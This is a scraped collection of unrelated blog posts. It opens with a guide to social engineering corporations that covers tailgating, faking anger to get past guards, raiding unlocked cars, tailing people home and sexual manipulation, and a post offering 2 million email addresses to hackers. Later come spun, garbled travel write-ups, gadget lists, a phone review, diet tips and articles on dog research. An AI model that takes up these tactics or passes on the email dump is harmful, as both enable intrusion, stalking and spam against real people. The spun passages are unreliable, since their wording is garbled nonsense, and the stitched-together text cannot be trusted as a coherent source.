If you want to hack a corporation fast, Social Engineering (SE) techniques work every time and more often than not it works the first time. I’m talking about in your face, Mano-a-mano, live in the flesh social engineering techniques. Securing the information that is in th

e human mind is a monumental, colossal, epic, task compared with securing digital data! So it is no surprise that it is also the largest gap in a corporations IT security.

The security industry is constantly trying to create techno widgets to help us with this hu

Graphic: Diego Aguirre
man problem, but to date there are not bona fide solutions available. If you give someone access, no matter how many hoops you make him or her go through to get there, then they are a human risk and subject to social engineering attacks.
I’ve collected a list of my top 10 social engineering techniques. These techniques come from a variety of sources. Some are from my experiences, some are from my customers, and some are from buddies that use social engineering attacks in their daily job as security consultants. Are you vulnerable to these techniques in your organization? Pick up the phone and try some of them (if you are authorized to of course). I bet you won’t be surprised when they all work. ?

1) Familiarity Exploit – This is one of the best and is a corner stone of social engineering. In a nutshell, you are trying to make it appear perfectly normal to everyone that you should be there. Making yourself familiar to those that you want to exploit helps to lower their guard. People react differently to people they know, have talked to or at least seen around a lot. People are way more comfortable responding and carrying out requests by familiar people than they are with complete strangers. A familiar person, in the eyes of your mark, is perfectly normal, doesn’t set off alarm bells in the brain of “who is that and why are they here”. Once you become familiar then you strike. Tailgating into a secure area behind someone who is familiar with you works often.

2) Creating a hostile situation – People withdraw from those that appear to be mad, upset or angry at something or someone other than themselves. For example, if you are on the phone and fake having a heated conversation with someone people around you will absolutely notice you but they will go out of their way to avoid you as well. You can create a hostile situation in a ton of different ways; just don’t create a hostile situation between you and your marks. This rarely works. Instead you want the hostile situation to be between yourself and your phone, your accomplice, or mumbling to yourself as if you just had a huge argument with someone.

If you find yourself in a situation where you need to go through areas with people that are otherwise likely to stop and question your presence this technique comes in handy. If you are angry, people are much, much less likely to stop and question you. In fact, people are much more likely to obey your wishes when you are angry as well. People just want to get rid of angry people, so it works well for asking people to open doors for you or give you information on the location of things, etc. A good real world example of this is my buddy wanted to sneak some alcohol into an amusement park. The park has a guard station to check the bags and a wand to detect metal. My buddy started up a heated fight with his wife before they walked up and the guards just waved them by the checkpoint without checking or wanding them!

3) Gathering and Using Information – When it comes right down to it the key to being a successful social engineer is information gathering. The more information you have about your mark the more likely you are to get what you want from him or her, obviously. Good places to gather this info:
a. Parking lot – Cars that are unlocked (or are easily unlocked) might have security badges, uniforms, paperwork, intel, smart phones, wallets, all sorts of goodies you can use.
b. Online site like Linked In, Google, Facebook, MySpace, etc.
c. Things in their workspace area (posters, pictures, books, etc.)
d. Asking their friends and colleagues. Pretend to be a manager from another office or branch.
e. Tail them home or to their favorite watering hole. Try to figure out their patterns, interests, places they frequent. These are all good data points you can use to help make a personal connection to the mark.
f. Dumpster diving. Sure going through their trash is nasty but the gems that will be there are invaluable.

4) Get a Job There – If the reward is worth it, just get a job at your target and grab all the information you can. Most small-medium size businesses do not perform even simple background checks on new hires. Most large companies will but they are typically not very extensive. HR and hiring managers are almost never trained on how to spot warning signs they might be hiring someone with malicious intent. Once you are on the inside you become way more trusted, even if you are a lowly clerk. Social engineering a co-worker is usually a piece of cake given the assumed trust you’ll have as a fellow employee.

5) Reading body language – An experienced SE will read and respond to their mark’s body language. In the eyes of the master SE, Chris Nickerson, body language, used effectively, is one of the most powerful connections you can make to a person. Breathing when they breath, smile at the right times, recognize and adapt to their emotions, be friendly and polite but not to much so, if they appear nervous make them comfortable, if they are comfortable then exploit them, etc. etc.

Reading body language, if done well, can be your ticket to the crown jewels in a corporation. It makes people WANT to help you and feel good about doing so, an act of kindness on their part. And not only will they want to help you but they won’t go back later and analyze what they did “Hey now that I think about it, why did I let that guy into the datacenter today?” Instead they will dwell the on the help and goodwill they provided for you.

6) Ok I have to add a sixth one because it is so incredibly effective, probably more so than any of the previous techniques. Wait for it…..SEX! Women manipulating men to do their bidding is just a part of being a guy. A guy trying to resist the manipulation of a great looking girl that is flirting, dressing sexy, acting promiscuous, acting interested in you, blah, blah, blah is about as easy as trying to hold your breath for 10 minutes. ? Bottom line is if your mark is a man and the SE is a woman, the SE’s chances of success just shot up. Hey all’s fair, why not use biology in your favor.

So the last part is how do you defend against social engineering attacks? The best defense you have against the human risk (to social engineering) is personnel training and awareness programs. Sure that sounds boring and you’d much rather buy a widget or two that you get to have in your security toolbelt, but no widget will be as effective.

I’d like to hear your favorite social engineering techniques or any good stories of SE you’d care to share. Huge thanks goes out to the guys in 303 for contributing content, insights and filling my head with awe-inspiring social engineering war stories!


Most of the time hackers need email address …..Here is a damn collection of 2 million email addresses.Cheers those who know how to use these 🙂
Download from here :

Bangkok, Thailand


It is not incredible that this metropolitan of opposites, 100,000 crews, has busy the primary place generally for trio years besides counting.

Bangkok, Thailand’s primary entrance, the tempting delight matrix charms. Thailand, Krung Thep, “Urban of Sponsors”, you mind unearth that it indeed is a mysterious arrange, a remarkable thought.

Another than in the repose of the territory, Bangkok Thailand expressed spooky skill to merger the traditional accompanying the novel. This transports up a breathtaking sensation of find of sightseeing moreover exploring what the mythical cities of the East, the accession of a astonish point.

Delight of soul also stamina, Bangkok embracing the contemporary duty architecture formation made ​​a thrusting the original sift; environment-sort hostel proposals luxurious assist; gleaming shopping promenades congested among values, such as thread besides stones East; Tavern, Thailand’s famous balmy traits of utilitys near Total further foods real; neon concert path ambits from traditional reel disco laser.

Gilded Buddhist tabernacles are juxtaposed among unctuous skyscrapers; fold Serenity Rivulet longtail steamers. Luscious also racy viands employ on the road or from the uppermost of costly-surge steeples addictive, so inexpensive shopping.

It is surprising that in a mankind of frill Bangkok taxing to argue their cultural patrimony, an alarming degree. In the Splendid Mansion, Wat Phra Kaew, the Mosque of Aurora moreover alternative historic sanctuarys shrine Grandest, the double you comprehend marvels medieval oriental, oriental gremlin myth force.

Farewell to commerce clogs – the metropolitan’s contemporary shine rail plus subway computer that clothes a grand section of ​​gratitude. Riverside expanse or reconnoiter a crave-extremity yacht or rivulet taxi. Whether your jaunt is for firm or convenience in Bangkok, outbreaks of provocative opportunities.

The 18 Day Diet

The 18 Day Diet is not your typical diet. Most diets will allow you to lose weight and claim that you can keep the weight off, but none of them address the main issue on why it is so hard to keep the weight off.

Eating habits and life habits. The 18 Day Diet is different in many ways, but the main reason is that it teaches you how to combat your bad habits that lead to overeating and unhealthy eating.

The 18 Day Diet is unique because it does not make you purchase or eat food that you don’t already have in your home. For a weight loss solution to be effective with lasting results, it needs to be convenient, simple and effective. The 18 Day Diet is all of these.

If you have had trouble in the past losing weight, keeping the weight off or life tends to “get in the way”, the 18 Day Diet is your answer.
Lose the Weight Now!

Palazzo Lombardia, Milan

Palazzo Lombardia, Milan

Milan’s Garibaldi republican communities has been the infusion of 21 years, and completed in 2011, the environmentally friendly sector spire-shaped curve. Accomplice Pei Cobb Freed creator, 525 at the bottom of high-rise apartment allys easily filled berth area next outdoor provinces.

Greatest social scope, balcony CITTA two Lombardy, including explicit “pillow” from: ETFE film (fluorine-based flexible) from a house, and different well-known high-tech / environmental sensible headlines including common ceilings, stringent environmental cliff two seams separated crystals containing rotating upright lover, to cast a shadow, while maximizing transparency and geothermal heating computers.

16 Amazing Gadgets that you will Surely Dream to Own

Gadgets have always amused us in many ways, they simply make things done easily reducing man power and getting making work a lot fun. Well we have posted a knowledgeable post on 16 most expensive things currently we have on our planet, you can give that a look and also check below 16 gadgets that you will dream to own them for your personal use.

#1. Colorful Shower Lights

Now if you love colors you can own them in your bathroom, well I currently do not have to link to the online product but you can surely google it out and it can give you some pleasant color modes in your shower.

#2. Cucumber Peel Holder

If you usually see your mom peeling out a cucumber skin, you might have noticed that how all the peels fall on the table, well this gadget can hold on the peels and than you can vanish at the last moment when the whole work is completed.

#3. Easy Ice Cubes Dispenser

When ever you want to dispense the ice cubes in your drinks or water you face a major problem of it stucking and not getting out, well but now with this easy gadget tweak you can dispense your ice cubes easily.

#4. Chair Cum Stair Modification

This will utilize the space and can be modified into stairs when ever you need to get something from top. When its free you can use it as your chair.

#5. Electronic Liquid Measuring Device

Now you do not need to check thoroughly that how much water you are going to add in your stuff, the electronic meter automatically shows you the exact figure.

#6. USB Portable Microwave

Now cooking is portable, if you live in any PG or flat far away from your home, this gadget would be a great idea for warming up the meals getting cold till you study at night.

#7. Smooth Shaving Gadget

Do you have a beard and usually while shaving you get stucked up protecting your beard from getting scrapped, well using this gadget you can fearlessly shave and have smoother fresher look.

#8. Cool Toothpaste Heads

Now just attach these unique toothpaste heads and amuse your kids with cartoonist personalities. Awesome characters can be changed easily.

#9. Sofa Cum Bed with Twin Lights

Check this out amazing sofa cum bed concept with twin lights for night study and amazing beetle look.

#10. Shower Note Pad

Now do not let your ideas vanish away with this aqua proof note taking pad, can be hanged down right in your shower and notes can be taken easily.

#11. Amazing Switch Extension System

Now if you need one plug its easily available but if you wanna add more switches just press it up and you will have 4 more switches to access.

#12. Easy Water Shooting System

Now when you are done with the paste just hold down this small gadget and water will pump in your mouth easily.

#13. Bath Tub with Hidden Container

If you love luxurious life than you are surely gonna have this bath tub in your room as you wanna store many bathing accessories and which you wanna use everytime on daily purposes.

#14. Comfortable Swinging Chair

Now you can easily sit and relax on this chair while reading or surfing the web.

#15. Sofa Cum Bunker

Sofa Cum Bunker now you have some guests in your house and you do not have any extra room than this gadget can help you out by creating two beds out of a simple sofa.

#16. Easily Hair Removing Comb

Now if you it’s a bad task you always perform to remove the hairs from your comb that this gadget can fix that up by adding another layer and simple removing it to remove your hairs.

Digitalized Evergreen Home


E Home concept is a two part series by designers Jeiyong Chun & Hyunjune Yang where they bring forth their ideas of maintaining a well balanced home environment with sufficient greenery to keep the atmosphere cheery and fresh.

Home, Green Home by Jeiyong Chun consists of a family of five modular units (two green towers, one green wall, one green floor and one green stand) that are sustained by SDPCS. In other words a Smart Digital Plant Care System nurtures the plants with the help of a digitally empowered environment.

Hyunjune Yang’s D’Nature is more about a digital walk in the park; I suppose this simulated greenery is more suitable to Google’s office than a house. The good thing about both the concepts is the inclusion of a green space, which is slowly diluting due to rapid urbanization.

HTC Sensation Review


HTC has been producing some great Android smartphones, and their latest flagship model is the HTC Sensation, which comes with a range of impressive specifications, we recently showed you some hands on photos of the new HTC Sensation, and have been testing it out over the last 10 days, so its time to let you guys know what we thought about the HTC Sensation.
The first thing you notice about the HTC Sensation is the size of the device, it features a large 4.3 inch qHD display. so the handset has a similar size to the Samsung Galaxy S II we reviewed recently and also features very similar specifications.

HTC Sensation Review

Both HTC and Samsung have been leading the pack with their Android smartphones, and HTC’s latest offering will appeal to Android fans who want the latest hardware and features in a stylish design.

Hardware Specifications

The HTC Sensation has a range of impressive hardware specifications, just what you would expect from the latest flagship Android device from HTC, it features a 4.3 inch 4HD display with a resolution of540 x 960 pixels, processing is provided by a dual core 1.2 GHz Snapdragon processor, it also comes with the latest version of Android Android 2.3.3 and HTC’s Sense 3.0.

HTC Sensation Review

The HTC Sensation comes with 768MB of ram, you also get 1GB of storage built in, plus a microSD card slot, plus 802.11 b/g/n WiFi, Bluetooth 3.0, A-GPS, a G-sensor, gyro sensor, a proximity sensor, ambient light sensor, and a micro USB 2.0 connection.
The Sensation is equipped with dual camera’s, up front there is a VGA fixed focus camera for video chat, on the back you get an 8 megpaixel camera with a dual LED flash and auto-focus, the camera is capable or recording Full High Definition video in 1080p.
Other features on the HTC Sensation include, DNLA, WiFi and USB tethering, and it also comes with the latest version of HTC’s custom Android user interface, HTC Sense 3.0.

Design, Display, User Interface

The first thing you notice about the HTC Sensation is the size of the handset, it features a large 4.3 inc qHD display, which makes it feel slightly larger than your average smartphone, although it still feels slim and light, measuring 126.1mm long by 65.4mm wide by 11.33mm thick, and it weighs in at 148 grams.

HTC Sensation Review

The HTC Sensation takes many of its design cues from earlier HTC devices, it certainly feels very well made and it fits nicely in your hand, with all the buttons easily accessible, there are four buttons on the bottom of the display, which include, home, settings, back and search.
The display on the HTC Sensation is one of the latest qHD displays, it features a resolution of 540 x 860 pixels, everything looks clear and bight on the screen, and it certainly doesn’t disappoint, the display is great for games, and video and also surfing the web.

HTC Sensation Review

The UI on the HTC Sensation is the latest version of HTC’s Sense, and with previous HTC devices we have tested HTC’s Sense is a great user interface, one of the best available on the market, and it has a wide range of options which make customizing your UI a breeze.

Processor And Camera

The HTC Sensation features a dual core Qualcomm 1.2GHz processor, and it works exactly like you would expect, everything feels fast on the HTC Sensation, whether you are launching applications, playing games or watching a video, the HTC Sensation’s processor handles everything with ease.

HTC Sensation Review
HTC has stepped up their efforts with the camera on the HTC Sensation, providing an 8 megapixel camera with a dual LED flash and built in auto-focus, the camera is capable of recording full HD video in 1080p, and it is certainly an improvement on some of the cameras we have tested on previous HTC devices.
HTC Sensation Review

The HTC Sensations camera does a good job at snapping photos and recording video when the lighting is good, it isn’t as good in poor light, but you still get the sort of quality you would expect from a smartphone camera.

Battery Life

The HTC Sensation features a 1520mAh battery, and it works pretty well for every day tasks like surfing the web,checking your email, and playing games, its not quite as good as the battery on the Samsung Galaxy S II, and didn’t last as long when we tested it,  but it is still adequate for every day use.

HTC Sensation Review

If you are a heavy user you can expect to have to charge your HTC Sensation on a daily basis, for average users, performing normal tasks like checking email, surfing the web etc, you would probably end up charging your sensation every one and a half to two days.


The HTC Sensation is an impressive smartphone, things that we liked about it were the bright, clear display and the fast processor that made everything feel snappy on the Sensation.
The Design is very nice, and the Sensation feels like a quality, well built smartphone, it fits nicely in your hand and considering its large 4.3 inch display it still feels light and thin.

HTC Sensation Review

The user interface (UI) is also very good on the Sensation, with a wide range of features that can be customized to suit your personal needs, we already liked HTC’s previous version of their Sense UI, and Sense 3.0 adds more features and is an improvement over the previous offering.
The HTC Sensation is definitely a smartphone that would be worth checking out, comparing it to the Samsung Galaxy S II, it is a hard choice between the two devices, we would recommend that you check out both devices to find out which one would be best suited for your needs.
Have a look at our HTC Sensation gallery below for lots more photos of the Sensation and also HTC’s Sense 3.0 user interface.
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The HTC Sensation is available in the UK from a range of mobile carriers, and also available in the US from various carriers, the model tested in this review was a UK model from UK mobile carrier Three, you can find out more information about the HTC Sensation over at the Three website.

Source:  http://www.geeky-gadgets.com

USBCELL AA USB Rechargeable Battery !

USBCELL AA USB Rechargeable Battery !

Introducing a revolutionary new
rechargeable battery – the USBCELL by Moixa Energy. This NiMH AA cell can be used like a normal battery and can be recharged simply by plugging into a USB port. If you t

hought rechargeable batteries were a good green idea, the USBCELL rechargeable battery will blow your mind.

It’s a pair of AA rechargeable Ni-MH batteries, but you don’t have to recharge them with cumbersome AC charger. Just a PC or only an USB port, your USBCELL AA rechargeable battery will be fed.

The unique USB rechargeable battery by Moixa features 1.2V and 1300mAh, and comes with an USB jack. It takes about 5 hours for 90% full charged.A pair of USBCELL AA USB rechargeable batteries will set you back $18.85 USD.

Taum sauk hydroelectric power station, USA

Taum sauk hydroelectric power station

Hydropower station is usually located near water, or in the source itself, such as a dam on the river. But from the TAUM Sauk hydropower stations over 80 kilometers from the nearest water source – the Mississippi River. St. Francois mountains of Missouri Ozarks, about 140 km south of Lesterville, St. Louis, Missouri, near the top, built-in TAUM Sauk hydropower is a pure pumped storage hydropower station, is designed to help meet peak power demand during the day. Through the turbines during the high demand for electricity, the water is stored in a kidney-shaped water Kupuluofei the top of the mountain is released to a lower reservoir, two kilometers away, the east fork of Heihe. In the evening, when demand for electricity is low, excess electricity on the grid used to pump water to the top of the hill. In essence, the power plant is like a huge battery until it needs to store excess energy.

Although pumped storage hydropower stations around the world and Sauk TAUM plant is worth noting is that it is a pure pumped back into operation – there is no the natural mainstream power generation, unlike most other pumped storage site. It is the largest such project, when it is established.

Sauk TAUM construction of the plant began in 1960 and became operational in 1963. Two reversible pump-turbine units capable of producing 175 megawatts of electricity. They upgraded units in 1999 to 225 MW each. In 2005, the factory had to close the upstream reservoir, suffered a catastrophic failure of the release of 40,000 cubic meters of water in 12 minutes to send a 20-foot peak down Heihe water. The water flood roared Sauk State Park TAUM swept away the park manager’s home and his three small children seriously injured.

The plant to return to service after a gap of four years. Reconstruction of the upper reservoir is now considered a milestone in the project, is North America’s largest roller compacted concrete dam. 5 backup system in order to prevent another disaster, and nine cameras dotted around the reservoir facilities stationed around-the-clock staff 24-hour surveillance.

Before the failure, the the upper reservoir tourists usually can drive Plouffe the top of the mountain, at the top of the reservoir, take the ramp, viewing platform. The gate also has a prominent Missouri Museum of Natural History. Power plants geology students, because frequented Precambrian / Cambrian unconformity rock layer of the construction of the plant exposed to a prominent example.

Discovery Shores, Boracay, Philippines

Discovery Shores

The barefoot elegance undoubtedly the island, 2 and is known as a half-mile stretch of white sand beach is often the softest singled out in the world on the rumors.

88 spacious suites are equipped with large glass walls, look for a scenic rock gardens, but chances are by the water, you will spend more time. A dip in the infinity pool or jet ski crystalline sea.

The people, the head of the sandbar, where they provoke delicious mojitos into the local litchi, mango and other flavors. Once you fully refueling, karaoke OK, your heart, with more than 1,000 songs (mainly English) to choose from resort casual lounge.

Airtel Free Miss Call Alert Service Trick for Febuary 2012

We have already posted many articles on Airtel like accessing free internet using Raptor VPN and earlier we have also given a free miss call alert service I don’t know if that is working till now or not but we have another working free miss call alert trick fro Airtel and its working great as I have a proof for you, as I just activated it right now on my phone and I just captured the screenshot of whole procedure. Well you will get this trick working for 1 month (30 Days) and than it will be deactivated, so enjoy for 1 month and have fun following steps below.
iphone dial pad

Follow below steps :

1. Make sure you have an Airtel Number, now just dial any of the following code. *321*885# Or *321*884# Or *321*882# OR *321*881# Or *321*880# like I have done in the above image.
2. After you typed the code just hit call from your phone and you will receive message from them something like the second image above, so now you just have to reply them with 1 to activate this free miss call alert service.
3. So now just in seconds you will get message from them like in the third image above and you will have your miss call alert service activated, that’s it enjoy this free service guys and have fun 🙂

Dogs’ Attention Declines with Age – But Training Helps

Older dogs with a history of lifelong training perform better on measures of attention.

Reward-based training protects older dogs - like this Border collie - from declines in attention
Photo: Mary Lynn Strand / Shutterstock

We know that as people get older, they may experience cognitive decline including in attention. We are used to hearing that doing lots of different activities that engage the brain may help to ward off some of these changes. It turns out that may also be the case for dogs.

As dogs get older, they experience a decline in attention just as older people do. But lifelong training can help to prevent this decline, according to research published last year by scientists at the Messerli Research Institute at the Vetmeduni Vienna. This is good news, because attention is important for human-canine communication and for other processes.

The study took pet dogs aged between 6 and just over 14 years. They were divided into 3 age groups: late adulthood (between 6 and 8 years), seniors (8 up until 10 years), and geriatric (10 years or over). There were 75 Border collies (59 of which were tested in an earlier study) and 110 dogs of other breeds and mixed-breeds.

They all took part in two experiments that were designed to be naturalistic such that the dogs did not need any prior training. The owners completed a questionnaire that included the dog’s participation in 13 different types of training, including puppy class, obedience, agility, service dog training, hunting/nose work, trick training/dog dancing, and sheep dog training.

The first experiment tested the extent to which a social or non-social stimulus could get and keep the dog’s attention. The non-social stimulus was a toy attached to some wire so that it could be moved up and down in front of the dog for 1 minute. The social stimulus was a person who came in, kept her back to the dog, and painted an imaginary wall for 1 minute.

A dog takes part in a study of the effects of training on attention in older dogs
A dog taking part in the first experiment. Photo: The Clever Dog Lab, Messerli Institute

The results showed that senior and geriatric dogs took longer to look at both stimuli than those in late adulthood, and there was no effect of lifelong training on this. All of the dogs looked for longer at the person than at the toy.

Sustained attention declined with age and was worst in the geriatric dogs. But dogs with a high level of lifelong training kept their attention on the stimulus for longer than those with a low level of training.

Durga Chapagain, first author of the paper, said,

“The decrement of sustained attention in the older dogs is due to the repetitive, monotonous and non-arousing nature of the task, leading to a decrease in endogenous attentional control as the task advances.” 

The second experiment looked at selective attention. Each dog took part in a 5-minute clicker training session. At the very beginning, the experimenter called the dog to her and threw a piece of sausage on the floor. Then, every time the dog made eye contact with her, she clicked and then threw a piece of sausage on the floor. If the dog lost interest, she crinkled the plastic bag. We all know that’s a good way to get a dog’s attention!

This task requires the dog to switch attention from making eye contact with the person to finding the food on the floor.

Even older dogs can learn new tricks, as shown in this study of aging of attentiveness
A dog learning to make eye contact during the clicker training session. Photo: The Clever Dog Lab, Messerli Institute

Unlike in humans, age did not affect selective attention in this task.

Dogs with higher scores for lifelong training and also dogs with prior experience of clicker training made eye contact faster than those with low levels of lifelong training and those with no specific experience of clicker training.

Older dogs took longer to find the food on the floor, with geriatric dogs taking the longest, and this ties in with previous work on aging in dogs. There were no differences due to lifelong training in the time to find food, but dogs with prior clicker training experience were quicker to find the food than those without. The clicker-trained dogs had more experience at looking for food after the click, by definition, and the researchers say they may also have increased anticipation of food.

They point out that all kinds of training involve the dog looking at the human. From these results, it’s not possible to separate the effects of clicker training specifically from other kinds of training, as clicker training contributed to the lifelong training scores.

It is probably no surprise that dogs with prior experience at clicker training did better at the clicker training, but it is worth noting that all of the dogs improved at the task of making eye contact during the 5 minute session. So it shows that you can train an old dog new tricks.

And of course the fact that dogs with more lifelong training did better on this selective attention task is very promising.

Friederike Range, senior author of the paper, said,

“Dogs with a high lifelong training score reacted faster in both measures of attention. This result is indeed a convincing proof for dog-owners to engage their dogs in different forms of physical and mental training, if they want their furry friends to retain their attentional abilities during aging.” 

For the Border collie owners out there who want to know how this breed compared to the other dogs, there were actually few differences, but the Border collies were faster at finding the food dropped on the floor. Because there was a wide variety of breeds and mixed-breeds in the other group, it’s possible that a larger sample size might have found other differences.

This is a fascinating study that suggests reward-based training has cognitive benefits that persist into the dog’s later life.

The paper is open access and you can read it via the link below, and you can follow the Clever Dog Lab on Facebook.

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Chapagain, D., Virányi, Z., Wallis, L. J., Huber, L., Serra, J., & Range, F. (2017). Aging of attentiveness in border collies and other pet dog breeds: the protective benefits of lifelong training. Frontiers in aging neuroscience, 9, 100.

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Chocolate Hills, Philippines, Asia

Chocolate Hills

There are two folklore, explain the formation of the Chocolate Hills, Bohol Island, 400 feet above the surrounding farmland nearly 2,000 symmetrical mound rising.

A claim that they are the two giants, a boulder hit up the mess left. Another said, the mountain is a huge tears mourning his lover.

But many people may prefer the sweet image of a grass-covered limestone hills, and become brown during the dry season rich shade, similar large-scale Hershey kiss inspired the name of the landscape.

Proper Socialization and Listen Harder

The latest in the ‘better world’ series about dogs and cats.

These are the latest images in the series about how to make the world better for dogs and how to make the world better for cats.
If you would like to share them, simply mouse over the image, or you can share direct from my Facebook or Twitter feeds if you prefer.
I have not had much time for blogging lately because of other commitments, but I am working on some future posts. Be sure to check back next week!
Meanwhile, if there are any topics you would like to see covered on Companion Animal Psychology, please let me know either in the comments below, or subscribers can simply hit the reply button to send me an email. 

Carzor Lets You To Do Shave On-The-Go

Whenever you are in hurry and have missed your shave then you may take help from Carzor, which is a handy razor that lets you to make a shave even when you are traveling.

This amazing razor comes with a mirror so you are free to enjoy on-the-go shaving through it. When you fullfil your purpose then you can fold Crazor and it will take the shape of a credit card so can be fit readily into your wallet. Don’t forget to remove the blades before folding it otherwise they will cut your money. The good thing is that you are free to choose any scent, lemon, wood, and mint, ocean or orange aromas ,which you want for glide strip on Carzor.

Want to buy Carzor Credit Card Razor? Just spend $17 at Infemtry.

 Source: GeekSuper

Weight Loss Tips for Bride

On your wedding day, all eyes will be set on you! For all women, their seeking day is the most important day of their life which they would have always dreamed about and would want everything to be perfect like a princess. As well as the venue, food, entertainment etc., most women would want their wedding dress to fit perfectly so that they’d look the best, or should it be perfect. Bride-to-be’s want to lose those extra kilos desperately.

SheLife.com.au has gathered tips for bride-to-be’s to lose those inches fast and time for their big day!!

Start as soon as you know!
Safe weight loss occurs at a pace of approx 2 pounds a week. So by knowing this, you can decide how much you’d like to lose in the amount of time frame till your wedding dress. For example if you want to lose 20 pound, you’d need 10 weeks approximately to lose all that weigh, ideally a couple of weeks before the wedding date so hat you can work on keeping it off without stressing that you need to lose anymore. Keep in mind, the wedding dress and he size you’d like to fit into. Starting early also means that you will be able to have enough time to adjust to your new lifestyle so you can see results way before your wedding promoting even more motivation. Starting soon means that you can overcome any issues you encounter during your journey to weight loss.

Planning your date and starting as soon as you know that you need or want to lose some pounds will help motivate you to push yourself to reach that target. But do keep in mind, don’t let weight loss pressure come in the way of the the enjoyment of exciting things like planning the wedding overall.

Eat smaller and more frequent meals
Have five to six small meals, instead of three large meals in a day. This way, your hunger and cravings will stop as your stomach will be satisfied and also allow you to eat less during meal times. Don’t assume that missing breakfast will help lose weight. You need breakfast to get your metabolism started for the rest of the day. Research has also proved that having a heavy breakfast should be likely to make you eat less throughout the day. If your craving for a snack, try nibbling on fruits and vegetables. Remember to keep portions under control. A serving of rice should be no bigger than the size of your closed fist. Eat just enough to satisfy hunger, not taste. A serving of meat should be about 3 oz.

Avoid Alcohol
Cut down on the amount of alcohol you take. You won’t be able to imagine how many calories alcohol and has and pack on this kilos your trying to lose. Alcohol is also an appetite stimulant that may lead to overeating.
Know what you are eating
Always watch what you eat because you are what you eat. Try not to eat when you are watching TV or occupied in activities that hinder your ability to note what and how much you are eating. Make a diet plan, not a diet that you starve in, a diet in which you have know what you will eat for meals and snacks and what time. If you adapt to a routine of eating healthy food allay long and the correct time, you will easily lose weight. Make sure you stick to why you plan and don’t miss or replace a meal with take-away or junk food.

Eat your dinner early
Try eating dinner approximately four hours before you head off to bed. Don’t go and sit down after you have dinner. Start cleaning the house, wash dishes, go for a walk. Try to brush your teeth as soon as possible so that you aren’t tempted to go to the kitchen for late night nibbles.

Exercise Routine
You should set aside at least 20 minutes a day to exercise. Even better if you exceed 20 minutes. The best time to exercise is early in the morning. Exercise doesn’t mean that you only exercise for a 20 minute time slot. You should use every chance of moving around. Walk to the station if you can rather than catching a train or use the stairs instead of the lift.

Find a Workout Buddy or Buddies
Success in life is often determined by the company you keep. And in order to be successful at weight loss, you need support from friends and family who are like-minded. You can even involve your whole bridal party and workout together with your trainer or coach. That way, you all experience the camaraderie that bonds a group together and you will be able to push each other to do more, be more, and be accountable to each other.

Nayara Hotel, Spa & Gardens, La Fortuna de San Carlos, Costa Rica, Central America

Nayara Hotel, Spa & Gardens

The basis of the Nayara hidden towards the Arenal volcano is still active, it is likely to be considered the definition of oasis. The resort has a volcano, surrounded by tropical rain forest, bursts of bright colors trademarks with Costa Rica, regardless of tropical flowers, vibrant creatures (like a blood-red dragonflies).

50 cabin romance and seclusion of a focus on the private outdoor jacuzzi and four-poster beds around the drapes. Explore the surrounding wilderness guide the rate hike, zipline, horseback riding, rafting, wildlife tours. Then relax poolside bar, a cocktail or rose petals decorated massage.

Why Two? The Part – Tablet and Smart Phone Concept


Do we really need the tablet and the smartphone to be two different entities? If you ask these trio designers their answer is no! The Part is the coexistence of a smartphone and a tablet as one whole device. You can remove the phone for individual use, however together they tango even better!

Why Do Dogs Play?

A new paper finds there are many reasons why dogs play – and play is not always a sign of good welfare.

Play is important to puppies, like these Cardigan Welsh Corgis, for several reasons - and doesn't always indicate good welfare

There’s nothing cuter than watching puppies play together. But why do they do it? It turns out play has several functions, not just one. A new review, by Rebecca Sommerville (Royal (Dick) School of Veterinary Studies, University of Edinburgh) et al, considers four theories about why dogs play, and finds evidence in support of three of them.

Rebecca Sommerville told me in an email,

“We found, by reviewing a large body of research, that play is not one type of behaviour – there are several types that each serve a different purpose. Despite popular belief, a dog playing is not necessarily a sign that everything is well. Playing alone can be a sign of boredom, whilst play with other dogs has potential to be one sided. Regular, real play between a dog and owner does not revolve around commands, and is important to strengthen their bond.”

Four theories of why dogs play

The paper looks at four different theories of why play has evolved in dogs.

Two dogs playing - but why did play evolve in dogs?

One theory is that play helps puppies learn motor skills. If you look at what dogs do in play, they chase each other, roll around on the floor in play fights, mount, pick up objects with their mouth and tug, bite or shake them. Puppies learn how hard they can bite their playmates (acquired bite inhibition), and to play bow to keep the play going for longer. Through these play activities, they are learning real skills relevant to how to move their bodies, acquire food, and defend themselves in fights. The scientists say this theory explains a lot of things about play, but is not the full story.

Another theory is that play is training for unexpected things to happen: it’s through play that dogs know how to right their bodies when knocked off balance and how to cope when something surprising startles them. According to this theory, changes in the brain and in hormone levels during play help dogs learn how to cope with real-life stressors. This theory explains the fact that dogs like new toys but are cautious of new things that aren’t toys. It also explains the way dogs self-handicap during play and put themselves at a disadvantage; this can be seen as practising behaviour they may need later on as a way to defuse real aggression. But again, this theory only explains some aspects of play.

The third theory they found evidence for is the idea that play promotes social cohesion between dogs. Play helps dogs cooperate as a group, and is about building social relationships – in which humans also feature. Dogs prefer to play with people they know, and they are more likely to approach the winner of a game, but when they win a game against a person it does not lead to increased ‘dominance’. So play is about building cooperative relationships, not social rank. But again, this theory does not explain everything about play.

The fourth theory the scientists considered is that play is just a side-effect of other processes, such as having too much energy or a deprived environment that does not provide stimulation. However, poor environments are linked with the development of stereotypies (repetitive behaviours), rather than play. If play was linked to too much energy, then playfulness wouldn’t be a consistent trait in dogs. Because play is something humans like, it may have been selected for in domestication or have arisen as a result of breeding for other traits, such as neotenic (baby-like) features. But play does not seem to just be a by-product of other things.

Play and welfare in dogs

There is an increasing emphasis on positive welfare and so the paper also considers the welfare implications of different types of play. Individual play with toys is an important enrichment activity that is rewarding in its own right and may reduce stress, but in some cases it may reflect poor welfare (e.g. poor environment, not enough attention from humans).

The scientists say that social play with other dogs is good for canine welfare, although there may be risks of injuries if play turns into aggression. Dogs that do not get enough play opportunities when they are young may show inappropriate behaviour in adult play with dogs or humans. If it is misinterpreted by the owner as actual aggression and the dog is given fewer play opportunities as a result, this may lead to reduced welfare.

Adult dogs -  like these two Golden Retrievers - still play. More on why dogs play.
Photos: Natalia Fedosova; top, Johan Georg Theron. Both Shutterstock.

Finally, dogs also like to play with humans, and would prefer to play with a human than on their own when there is a toy around. The scientists distinguish between indirect play (when the human moves a toy for the dog – playing with a flirt pole would be an example) and direct play when the human and dog are directly playing together. Play with humans can be rewarding in itself and may also improve the human-canine bond.

However, there are also times when play with a human may not be a sign of good welfare: when dogs make a playful move as a way of avoiding something unpleasant from the human, or in cases where the play itself is stressful, as has been found for games of tug that are also full of commands and discipline rather than being spontaneous and affectionate.

